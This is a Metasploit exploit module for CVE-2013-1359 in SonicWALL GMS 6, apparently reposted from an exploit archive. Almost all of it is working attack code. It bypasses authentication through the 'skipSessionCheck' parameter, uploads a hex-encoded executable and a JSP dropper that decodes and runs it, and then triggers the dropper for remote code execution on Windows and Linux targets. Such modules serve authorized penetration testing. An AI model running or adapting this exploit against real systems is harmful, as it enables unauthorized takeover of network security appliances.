SonicWALL GMS 6 Arbitrary File Upload Vulnerability

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
 
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
 
    def initialize(info = {})
        super(update_info(info,
            'Name'        => 'SonicWALL GMS 6 Arbitrary File Upload',
            'Description' => %q{
                    This module exploits a code execution flaw in SonicWALL GMS. It exploits two
                vulnerabilities in order to get its objective. An authentication bypass in the
                Web Administration interface allows to abuse the "appliance" application and upload
                an arbitrary payload embedded in a JSP. The module has been tested successfully on
                SonicWALL GMS 6.0.6017 over Windows 2003 SP2 and SonicWALL GMS 6.0.6022 Virtual
                Appliance (Linux). On the Virtual Appliance the linux meterpreter hasn't run
                successfully while testing, shell payload have been used.
            },
            'Author'       =>
                [
                    'Nikolas Sotiriu', # Vulnerability Discovery
                    'Julian Vilas <julian.vilas[at]gmail.com>', # Metasploit module
                    'juan vazquez' # Metasploit module
                ],
            'License'     => MSF_LICENSE,
            'References'  =>
                [
                    [ 'CVE', '2013-1359'],
                    [ 'OSVDB', '89347' ],
                    [ 'BID', '57445' ],
                    [ 'EDB', '24204' ]
                ],
            'Privileged'  => true,
            'Platform'    => [ 'win', 'linux' ],
            'Targets'     =>
                [
                    [ 'SonicWALL GMS 6.0 Viewpoint / Windows 2003 SP2',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'win'
                        }
                    ],
                    [ 'SonicWALL GMS Viewpoint 6.0 Virtual Appliance (Linux)',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'linux'
                        }
                    ]
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Jan 17 2012'))
 
        register_options(
            [
                Opt::RPORT(80),
                OptString.new('TARGETURI', [true, 'Path to SonicWall GMS', '/'])
            ], self.class)
    end
 
 
    def on_new_session
        # on_new_session will force stdapi to load (for Linux meterpreter)
    end
 
 
    def generate_jsp
        var_hexpath       = Rex::Text.rand_text_alpha(rand(8)+8)
        var_exepath       = Rex::Text.rand_text_alpha(rand(8)+8)
        var_data          = Rex::Text.rand_text_alpha(rand(8)+8)
        var_inputstream   = Rex::Text.rand_text_alpha(rand(8)+8)
        var_outputstream  = Rex::Text.rand_text_alpha(rand(8)+8)
        var_numbytes      = Rex::Text.rand_text_alpha(rand(8)+8)
        var_bytearray     = Rex::Text.rand_text_alpha(rand(8)+8)
        var_bytes         = Rex::Text.rand_text_alpha(rand(8)+8)
        var_counter       = Rex::Text.rand_text_alpha(rand(8)+8)
        var_char1         = Rex::Text.rand_text_alpha(rand(8)+8)
        var_char2         = Rex::Text.rand_text_alpha(rand(8)+8)
        var_comb          = Rex::Text.rand_text_alpha(rand(8)+8)
        var_exe           = Rex::Text.rand_text_alpha(rand(8)+8)
        @var_hexfile      = Rex::Text.rand_text_alpha(rand(8)+8)
        var_proc          = Rex::Text.rand_text_alpha(rand(8)+8)
        var_fperm         = Rex::Text.rand_text_alpha(rand(8)+8)
        var_fdel          = Rex::Text.rand_text_alpha(rand(8)+8)
 
        jspraw =  "<%@ page import=\"java.io.*\" %>\n"
        jspraw << "<%\n"
        jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n"
        jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
        jspraw << "String #{var_data} = \"\";\n"
 
        jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
        jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
        jspraw << "}\n"
 
        jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
        jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
 
        jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
        jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
        jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
        jspraw << "#{var_inputstream}.close();\n"
 
        jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
        jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
        jspraw << "{\n"
        jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
        jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
        jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
        jspraw << "#{var_comb} <<= 4;\n"
        jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
        jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
        jspraw << "}\n"
 
        jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
        jspraw << "#{var_outputstream}.close();\n"
 
        jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"
        jspraw << "String[] #{var_fperm} = new String[3];\n"
        jspraw << "#{var_fperm}[0] = \"chmod\";\n"
        jspraw << "#{var_fperm}[1] = \"+x\";\n"
        jspraw << "#{var_fperm}[2] = #{var_exepath};\n"
        jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"
        jspraw << "if (#{var_proc}.waitFor() == 0) {\n"
        jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
        jspraw << "}\n"
        # Linux and other UNICES allow removing files while they are in use...
        jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"
        jspraw << "} else {\n"
        # Windows does not ..
        jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
        jspraw << "}\n"
 
        jspraw << "%>\n"
        return jspraw
    end
 
    def get_install_path
        res = send_request_cgi(
            {
                'uri'    => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1",
                'method' => 'POST',
                'connection' => 'TE, close',
                'headers' =>
                    {
                        'TE' => "deflate,gzip;q=0.3",
                    },
                'vars_post' => {
                    'num' => '123456',
                    'action' => 'show_diagnostics',
                    'task' => 'search',
                    'item' => 'application_log',
                    'criteria' => '*.*',
                    'width' => '500'
                }
            })
 
        if res and res.code == 200 and res.body =~ /VALUE="(.*)logs/
            return $1
        end
 
        return nil
    end
 
    def upload_file(location, filename, contents)
        post_data = Rex::MIME::Message.new
        post_data.add_part("file_system", nil, nil, "form-data; name=\"action\"")
        post_data.add_part("uploadFile", nil, nil, "form-data; name=\"task\"")
        post_data.add_part(location, nil, nil, "form-data; name=\"searchFolder\"")
        post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFilename\"; filename=\"#{filename}\"")
 
        data = post_data.to_s
        data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
 
        res = send_request_cgi(
            {
                'uri'    => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1",
                'method' => 'POST',
                'data'   => data,
                'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
                'headers' =>
                    {
                        'TE' => "deflate,gzip;q=0.3",
                    },
                'connection' => 'TE, close'
            })
 
        if res and res.code == 200 and res.body.empty?
            return true
        else
            return false
        end
    end
 
    def check
        @peer = "#{rhost}:#{rport}"
        @uri = normalize_uri(target_uri.path)
        @uri << '/' if @uri[-1,1] != '/'
 
        if get_install_path.nil?
            return Exploit::CheckCode::Safe
        end
 
        return Exploit::CheckCode::Vulnerable
    end
 
    def exploit
        @peer = "#{rhost}:#{rport}"
        @uri = normalize_uri(target_uri.path)
        @uri << '/' if @uri[-1,1] != '/'
 
        # Get Tomcat installation path
        print_status("#{@peer} - Retrieving Tomcat installation path...")
        install_path = get_install_path
 
        if install_path.nil?
            fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Unable to retrieve the Tomcat installation path")
        end
 
        print_good("#{@peer} - Tomcat installed on #{install_path}")
 
        if target['Platform'] == "linux"
            @location = "#{install_path}webapps/appliance/"
        elsif target['Platform'] == "win"
            @location = "#{install_path}webapps\\appliance\\"
        end
 
 
        # Upload the JSP and the raw payload
        @jsp_name = rand_text_alphanumeric(8+rand(8))
 
        jspraw = generate_jsp
 
        # Specify the payload in hex as an extra file..
        payload_hex = payload.encoded_exe.unpack('H*')[0]
 
        print_status("#{@peer} - Uploading the payload")
 
        if upload_file(@location, "#{@var_hexfile}.txt", payload_hex)
            print_good("#{@peer} - Payload successfully uploaded to #{@location}#{@var_hexfile}.txt")
        else
            fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the Payload")
        end
 
        print_status("#{@peer} - Uploading the payload")
 
        if upload_file(@location, "#{@jsp_name}.jsp", jspraw)
            print_good("#{@peer} - JSP successfully uploaded to #{@location}#{@jsp_name}.jsp")
        else
            fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the jsp")
        end
 
        print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...")
        res = send_request_cgi(
            {
                'uri'    => "#{@uri}appliance/#{@jsp_name}.jsp",
                'method' => 'GET'
            })
 
        if res and res.code != 200
            print_warning("#{@peer} - Error triggering the payload")
        end
 
        register_files_for_cleanup("#{@location}#{@var_hexfile}.txt")
        register_files_for_cleanup("#{@location}#{@jsp_name}.jsp")
    end
 
end

#  0day.today [2018-01-08]  #